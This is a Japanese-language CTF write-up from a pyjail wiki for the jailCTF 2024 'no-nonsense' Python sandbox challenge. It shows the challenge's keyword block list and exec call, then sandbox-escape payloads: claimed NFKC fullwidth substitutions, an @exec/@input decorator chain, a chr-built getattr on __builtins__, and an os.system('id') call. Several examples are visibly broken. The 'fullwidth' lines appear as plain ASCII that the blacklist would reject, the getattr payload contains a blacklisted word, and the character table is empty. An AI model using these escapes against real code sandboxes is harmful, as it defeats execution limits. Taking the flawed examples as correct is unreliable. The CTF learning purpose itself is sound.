pyjail wiki

jailCTF 2024 - no-nonsense

Challenge

特定のキーワードがブラックリストされ、AST検証も行われる環境。

import ast
BLACKLIST = ['import', 'eval', 'exec', 'open', 'os', 'sys', 'builtins']
code = input()
# 文字列チェック
for word in BLACKLIST:
if word in code.lower():
print("Blacklisted!")
exit()
# AST チェック
tree = ast.parse(code)
# ... 追加の検証 ...
exec(code)

Solution

Unicode 等価文字

NFKC 正規化を利用してブラックリストをバイパス:

# 'import' の代わりに全角文字
import os
# 'eval' の代わりに
eval('...')
# 'os' の代わりに
os.system('id')

AST バイパス

デコレータ構文を利用:

@exec
@input
class X: pass

文字列構築との組み合わせ

# chr() で文字列を構築してブラックリスト回避
getattr(__builtins__, chr(101)+chr(118)+chr(97)+chr(108))('...')

Technical Details

Unicode 正規化

Python は識別子を NFKC 正規化する:

import unicodedata
# 全角 'a' → 半角 'a'
unicodedata.normalize('NFKC', 'a') # 'a'
# 上付き文字も正規化される
unicodedata.normalize('NFKC', 'ᵉ') # 'e'

使用可能な等価文字

通常全角その他
a
e
i
o
__

Flag

jail{...}

References

  • jailCTF 2024 Official
  • Unicode NFKC Normalization